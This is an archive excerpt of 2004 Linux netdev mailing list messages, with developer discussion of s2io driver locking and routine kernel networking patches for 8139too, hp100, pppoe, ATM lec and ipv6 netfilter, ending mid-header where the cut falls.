Precedence: bulk X-list: netdev raghavendra.koushik@wipro.com wrote: > Jeff, > some questions on few of your comments. > > >>>30) do not call netif_stop_queue() and netif_wake_queue() on link >>>events, in s2io_link. Simply call netif_carrier_{on,off}. > > > When link goes down and I just call netif_carrier_off the upper layer > still continues to send packets to the s2io_xmit routine. In order to > avoid this, I stop the queue and a corresponding wake when link returns. > Is there any particular reason why this should be avoided? Ignore me on this one, I am incorrect. >>>28) are you aware that all of s2io_tx_watchdog is inside the >>>dev->tx_lock spinlock? I am concern s2io_tx_watchdog execution time may >>>be quite excessive a duration to hold a spinlock. > > > Actually no. The intention is to reset the NIC and re-initialize it in the > tx_watchdog function and I'am not sure how else to do this. > Do you foresee a problem with the current method, because for most part of > the function the queue would be in a stopped state (the netif_stop_queue is > called right on top of s2io_close and the queue is woken up at almost > the end of s2io_open). It is incorrect to perform any slow operation inside spin_lock_bh(). You can schedule_work() to perform the actual reset, for example, to get around this. >>>29) never call netif_wake_queue() unconditionally. only call it if you >>>are 100% certain that the net stack is allowed to add another packet to >>>your hardware's TX queue(s). > > > I wake the queue in txIntrHandler without checking anything because at this > point I'am certain that some free transmit descriptors are available for > new xmit. The tx Interrupt arrives only after one or more Tx descriptor and > buffer were successfully DMA'ed to the NIC and the ownership of these > descriptor(s) is returned to the host. OK, all good then. Jeff From xose@wanadoo.es Thu Feb 26 10:30:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 10:30:35 -0800 (PST) Received: from smtp14.eresmas.com (smtp14.eresmas.com [62.81.235.114]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QIUIKO005698 for ; Thu, 26 Feb 2004 10:30:21 -0800 Received: from [192.168.108.56] (helo=mx06.eresmas.com) by smtp14.eresmas.com with esmtp (Exim 4.10) id 1AuvV4-0001Q9-00; Sun, 22 Feb 2004 16:26:34 +0100 Received: from [80.103.143.161] (helo=wanadoo.es) by mx06.eresmas.com with esmtp (Exim 4.30) id 1AuvV4-0005I8-QG; Sun, 22 Feb 2004 16:26:35 +0100 Message-ID: <4038CA28.1080500@wanadoo.es> Date: Sun, 22 Feb 2004 16:26:32 +0100 From: Xose Vazquez Perez User-Agent: Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.4.1) Gecko/20031114 X-Accept-Language: gl, es, en MIME-Version: 1.0 To: netdev@oss.sgi.com, jgarzik@pobox.com, marcelo.tosatti@cyclades.com Subject: [PATCH ] more RTL-8139 clone boards Content-Type: multipart/mixed; boundary="------------040005010207010208050005" X-Spam-Score: 0.3 (/) X-archive-position: 3601 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xose@wanadoo.es Precedence: bulk X-list: netdev This is a multi-part message in MIME format. --------------040005010207010208050005 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch already is in 2.6. 0x018A 0x0106 LevelOne FPC-0106TX 0x126C 0x1211 Nortel Networks 10/100BaseTX 0x1743 0x8139 Peppercon AG ROL-F 0x021B 0x8139 Compaq HNE-300 --------------040005010207010208050005 Content-Type: text/plain; name="8139too_idents.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="8139too_idents.diff" --- linux/drivers/net/8139too.c 2004-02-05 23:00:12.000000000 +0100 +++ n/drivers/net/8139too.c 2004-02-22 16:23:27.000000000 +0100 @@ -255,6 +255,10 @@ {0x11db, 0x1234, PCI_ANY_ID, PCI_ANY_ID, 0, 0, RTL8139 }, {0x1432, 0x9130, PCI_ANY_ID, PCI_ANY_ID, 0, 0, RTL8139 }, {0x02ac, 0x1012, PCI_ANY_ID, PCI_ANY_ID, 0, 0, RTL8139 }, + {0x018a, 0x0106, PCI_ANY_ID, PCI_ANY_ID, 0, 0, RTL8139 }, + {0x126c, 0x1211, PCI_ANY_ID, PCI_ANY_ID, 0, 0, RTL8139 }, + {0x1743, 0x8139, PCI_ANY_ID, PCI_ANY_ID, 0, 0, RTL8139 }, + {0x021b, 0x8139, PCI_ANY_ID, PCI_ANY_ID, 0, 0, RTL8139 }, #ifdef CONFIG_SH_SECUREEDGE5410 /* Bogus 8139 silicon reports 8129 without external PROM :-( */ --------------040005010207010208050005-- From shemminger@osdl.org Thu Feb 26 10:33:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 10:34:09 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QIXuKO006103 for ; Thu, 26 Feb 2004 10:33:56 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1QIXlE20269; Thu, 26 Feb 2004 10:33:47 -0800 Date: Thu, 26 Feb 2004 10:33:47 -0800 From: Stephen Hemminger To: Jeff Garzik Cc: Cacophonix , netdev@oss.sgi.com Subject: [PATCH] hp100 -- isa probe fix Message-Id: <20040226103347.65bd7de9@dell_ss3.pdx.osdl.net> In-Reply-To: <20040225213347.5491.qmail@web14006.mail.yahoo.com> References: <20040224170700.11adc3cc@dell_ss3.pdx.osdl.net> <20040225213347.5491.qmail@web14006.mail.yahoo.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3602 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Jeff, here is a cleaned up version of the 2.6.3 hp100 isa (non-modular) probing. It needs to check for the board being present before reading the signature. --- linux-2.6/drivers/net/hp100.c 2004-02-24 17:08:00.000000000 -0800 +++ test-2.6/drivers/net/hp100.c 2004-02-26 10:32:33.625878016 -0800 @@ -326,16 +326,21 @@ static __init const char *hp100_read_id( return str; } -static __init int hp100_isa_probe1(struct net_device *dev, int addr) +static __init int hp100_isa_probe1(struct net_device *dev, int ioaddr) { const char *sig; int i; - if (!request_region(addr, HP100_REGION_SIZE, "hp100")) + if (!request_region(ioaddr, HP100_REGION_SIZE, "hp100")) goto err; - sig = hp100_read_id(addr); - release_region(addr, HP100_REGION_SIZE); + if (hp100_inw(HW_ID) != HP100_HW_ID_CASCADE) { + release_region(ioaddr, HP100_REGION_SIZE); + goto err; + } + + sig = hp100_read_id(ioaddr); + release_region(ioaddr, HP100_REGION_SIZE); if (sig == NULL) goto err; @@ -347,7 +352,7 @@ static __init int hp100_isa_probe1(struc } if (i < ARRAY_SIZE(hp100_isa_tbl)) - return hp100_probe1(dev, addr, HP100_BUS_ISA, NULL); + return hp100_probe1(dev, ioaddr, HP100_BUS_ISA, NULL); err: return -ENODEV; From ak@muc.de Thu Feb 26 11:49:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 11:49:17 -0800 (PST) Received: from colin2.muc.de (qmailr@colin2.muc.de [193.149.48.15]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QJn2KO007841 for ; Thu, 26 Feb 2004 11:49:02 -0800 Received: (qmail 9067 invoked by uid 3709); 26 Feb 2004 19:49:00 -0000 Date: 26 Feb 2004 20:49:00 +0100 Date: Thu, 26 Feb 2004 20:49:00 +0100 From: Andi Kleen To: "David S. Miller" Cc: Andi Kleen , yoshfuji@linux-ipv6.org, ak@muc.de, netdev@oss.sgi.com Subject: Re: [PATCH] Increase snd/rcv buffers in pppoe Message-ID: <20040226194900.GA8230@colin2.muc.de> References: <20040223105359.GA91938@colin2.muc.de> <20040223.200101.39143636.yoshfuji@linux-ipv6.org> <20040223111659.GB10681@colin2.muc.de> <20040223.203843.04073965.yoshfuji@linux-ipv6.org> <20040223102613.33838132.davem@redhat.com> <20040225211526.74478066.ak@suse.de> <20040223133233.71eecc99.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040223133233.71eecc99.davem@redhat.com> User-Agent: Mutt/1.4.1i X-archive-position: 3603 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@muc.de Precedence: bulk X-list: netdev Sorry for the late answer. On Mon, Feb 23, 2004 at 01:32:33PM -0800, David S. Miller wrote: > > > 2) IPV6 icmp does the same as ipv4, except this value is even more wrong there > > > especially considering jumbograms. With current code, sending a jumbogram > > > ipv6 icmp packet would simply fail, and I wonder if anyone has even tried > > > this. > > > > Isn't even ICMPv6 limited to the minimum guaranteed MTU (1000 something) like ICMPv4 is to > > 576 bytes? > > What about ECHO? I can't send an ICMPv6 jumbo sized ECHO and expect a fully quoted response > back? I don't think it should be only sized for big datagrams and other obscure cases. Better is a reasonable default to fit at least 64K of data with a standard MTU like ~1.4K. Or may resize it on MTU change, but I'm not sure that's worth the effort. Are you working on this or should I prepare a new patch? -Andi From davem@redhat.com Thu Feb 26 11:57:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 11:57:34 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QJvDKO008296 for ; Thu, 26 Feb 2004 11:57:14 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QJvAb24362; Thu, 26 Feb 2004 14:57:10 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QJvA824720; Thu, 26 Feb 2004 14:57:10 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1QJv6eF022438; Thu, 26 Feb 2004 14:57:06 -0500 Date: Thu, 26 Feb 2004 11:57:09 -0800 From: "David S. Miller" To: "Simon Barber" Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com, bdschuym@pandora.be Subject: Re: [PATCH 2.4.26-pre1] Allow ebtables module to change protocol in netif_receive_skb Message-Id: <20040226115709.4ed1594d.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3604 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004 14:47:41 -0800 "Simon Barber" wrote: > Currently skb->protocol is read before the bridge is called, even though > it's not used until after. Hence if an ebtables module changes the > protocol of a frame the wrong protocol is interpreted. Applied, even though ebtables is not in 2.4.x yet the change is valid. I've applied your 2.6.x variant too of course. Thanks Simon. From davem@redhat.com Thu Feb 26 12:03:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 12:03:20 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QK37KO008695 for ; Thu, 26 Feb 2004 12:03:07 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QK2tb25990; Thu, 26 Feb 2004 15:02:55 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QK2t826517; Thu, 26 Feb 2004 15:02:55 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1QK2peF026143; Thu, 26 Feb 2004 15:02:51 -0500 Date: Thu, 26 Feb 2004 12:02:54 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lec] put back pressure on network stack Message-Id: <20040226120254.69d6f9a2.davem@redhat.com> In-Reply-To: <200402252351.i1PNpJg5006282@ginger.cmf.nrl.navy.mil> References: <200402252351.i1PNpJg5006282@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3605 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004 18:51:21 -0500 "chas williams (contractor)" wrote: > the lane client doesnt put back pressure on the network > stack when one of the transmit vcc's is full. this can > yield spurious results with certain network performance > tests. > > please apply to 2.6 --thanks Applied, thanks Chas. From davem@redhat.com Thu Feb 26 12:03:57 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 12:04:10 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QK3uKO008869 for ; Thu, 26 Feb 2004 12:03:56 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QK3gb26158; Thu, 26 Feb 2004 15:03:42 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QK3g826664; Thu, 26 Feb 2004 15:03:42 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1QK3ceF026322; Thu, 26 Feb 2004 15:03:39 -0500 Date: Thu, 26 Feb 2004 12:03:41 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lec] timer cleanup Message-Id: <20040226120341.11848f9a.davem@redhat.com> In-Reply-To: <200402252352.i1PNq5g5006290@ginger.cmf.nrl.navy.mil> References: <200402252352.i1PNq5g5006290@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3606 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004 18:52:06 -0500 "chas williams (contractor)" wrote: > backport of similar patch for 2.6. > > please apply to 2.4 -- thanks Applied, thanks Chas. From davem@redhat.com Thu Feb 26 12:04:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 12:04:37 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QK4NKO009150 for ; Thu, 26 Feb 2004 12:04:24 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QK4Hb26282; Thu, 26 Feb 2004 15:04:17 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QK4H826835; Thu, 26 Feb 2004 15:04:17 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1QK4DeF026641; Thu, 26 Feb 2004 15:04:14 -0500 Date: Thu, 26 Feb 2004 12:04:16 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lec] send queued packets immediately after path switch Message-Id: <20040226120416.596aa635.davem@redhat.com> In-Reply-To: <200402252352.i1PNqkg5006305@ginger.cmf.nrl.navy.mil> References: <200402252352.i1PNqkg5006305@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3607 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004 18:52:47 -0500 "chas williams (contractor)" wrote: > backport of similar patch for 2.6. > > please apply to 2.4 -- thanks Applied, thanks Chas. From davem@redhat.com Thu Feb 26 12:10:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 12:10:57 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QKAhKO009828 for ; Thu, 26 Feb 2004 12:10:43 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QKAbb28202; Thu, 26 Feb 2004 15:10:37 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QKAb828746; Thu, 26 Feb 2004 15:10:37 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1QKAXeF029636; Thu, 26 Feb 2004 15:10:33 -0500 Date: Thu, 26 Feb 2004 12:10:36 -0800 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lec] put back pressure on network stack Message-Id: <20040226121036.7472a38a.davem@redhat.com> In-Reply-To: <200402252354.i1PNs8g5006332@ginger.cmf.nrl.navy.mil> References: <200402252354.i1PNs8g5006332@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3608 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004 18:54:09 -0500 "chas williams (contractor)" wrote: > backport of similar patch for 2.6. > > please apply to 2.4 -- thanks ... > # [ATM]: [lec] put back pressure on network stack This conflicts with a previous patch you sent me in this group entitled: [ATM]: [lec] send queued packets immediately after path switch So it fully rejected when I tried to apply this one, it looks to me like the changes this is trying to add are already in there as a result of the previous change. From chas@cmf.nrl.navy.mil Thu Feb 26 12:12:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 12:12:39 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QKCPKO010171 for ; Thu, 26 Feb 2004 12:12:26 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i1QKCHg5021427; Thu, 26 Feb 2004 15:12:17 -0500 (EST) Message-Id: <200402262012.i1QKCHg5021427@ginger.cmf.nrl.navy.mil> To: "David S. Miller" cc: netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [lec] put back pressure on network stack In-Reply-To: Message from "David S. Miller" of "Thu, 26 Feb 2004 12:10:36 PST." <20040226121036.7472a38a.davem@redhat.com> Date: Thu, 26 Feb 2004 15:12:19 -0500 From: "chas williams (contractor)" X-Spam-Score: () hits=-0.9 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3609 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev i probably managed to combine two patches again. i will get it sorted out. In message <20040226121036.7472a38a.davem@redhat.com>,"David S. Miller" writes: >This conflicts with a previous patch you sent me in this group entitled: > >[ATM]: [lec] send queued packets immediately after path switch > >So it fully rejected when I tried to apply this one, it looks to me >like the changes this is trying to add are already in there as a result >of the previous change. > From davem@redhat.com Thu Feb 26 12:14:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 12:14:34 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QKEIKO010522 for ; Thu, 26 Feb 2004 12:14:19 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QKEGb29343; Thu, 26 Feb 2004 15:14:16 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QKEG829948; Thu, 26 Feb 2004 15:14:16 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1QKECeF031716; Thu, 26 Feb 2004 15:14:12 -0500 Date: Thu, 26 Feb 2004 12:14:15 -0800 From: "David S. Miller" To: Matthias Andree Cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: 2.6: net/core.c should export sysctl_optmem_max for modular IPV6 Message-Id: <20040226121415.4836150a.davem@redhat.com> In-Reply-To: <20040226015907.GA10986@merlin.emma.line.org> References: <20040226015907.GA10986@merlin.emma.line.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3610 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 26 Feb 2004 02:59:07 +0100 Matthias Andree wrote: > IPv6 built as a module fails (in 2.6 BitKeeper tree) because it cannot > link to sysctl_optmem_max, trivial patch: Applied, thanks Matthias. (2.4.x is going to need this too so I added your change there too) From davem@redhat.com Thu Feb 26 12:37:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 12:37:39 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QKbPKO014100 for ; Thu, 26 Feb 2004 12:37:25 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QKbIb04890; Thu, 26 Feb 2004 15:37:18 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QKbI805708; Thu, 26 Feb 2004 15:37:18 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1QKbEeF011252; Thu, 26 Feb 2004 15:37:14 -0500 Date: Thu, 26 Feb 2004 12:37:17 -0800 From: "David S. Miller" To: Yasuyuki Kozakai Cc: netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org, usagi-core@linux-ipv6.org Subject: Re: [PATCH]: ipv6_skip_exthdr() may refer invalid memory area Message-Id: <20040226123717.27bc62e8.davem@redhat.com> In-Reply-To: <200402260349.MAA22692@toshiba.co.jp> References: <200402200534.OAA04081@toshiba.co.jp> <20040220093027.2c03f48c.davem@redhat.com> <200402260349.MAA22692@toshiba.co.jp> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3611 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 26 Feb 2004 12:48:31 +0900 (JST) Yasuyuki Kozakai wrote: > This patch is for linux 2.4.26-pre1 . Applied, thank you. From davem@redhat.com Thu Feb 26 12:37:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 12:37:54 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1QKbdKO014107 for ; Thu, 26 Feb 2004 12:37:41 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1QKbXb04964; Thu, 26 Feb 2004 15:37:33 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1QKbX805808; Thu, 26 Feb 2004 15:37:33 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i1QKbTeF011446; Thu, 26 Feb 2004 15:37:29 -0500 Date: Thu, 26 Feb 2004 12:37:32 -0800 From: "David S. Miller" To: Yasuyuki Kozakai Cc: netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH]: invaild TCP/UDP matching when ipv6 extension header exists Message-Id: <20040226123732.6132fdbc.davem@redhat.com> In-Reply-To: <200402260406.NAA16034@toshiba.co.jp> References: <200401310649.PAA00050@toshiba.co.jp> <200402200612.PAA12001@toshiba.co.jp> <20040220093158.3c12ea9a.davem@redhat.com> <200402260406.NAA16034@toshiba.co.jp> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3612 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 26 Feb 2004 13:05:50 +0900 (JST) Yasuyuki Kozakai wrote: > This patch is for linux 2.4.26-pre1 . > > Summery: > tcp_match() and udp_match() in ip6tables.c assume that previous header > of TCP/UDP header is IPv6 Header. So, for example, 1st of fragmented UDP > packet, AHed packets can't correctly match the rules which use > "--sport" and so on. Also applied, thank you. From davem@redhat.com Thu Feb 26 12:42:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 26 Feb 2004 12:43:06 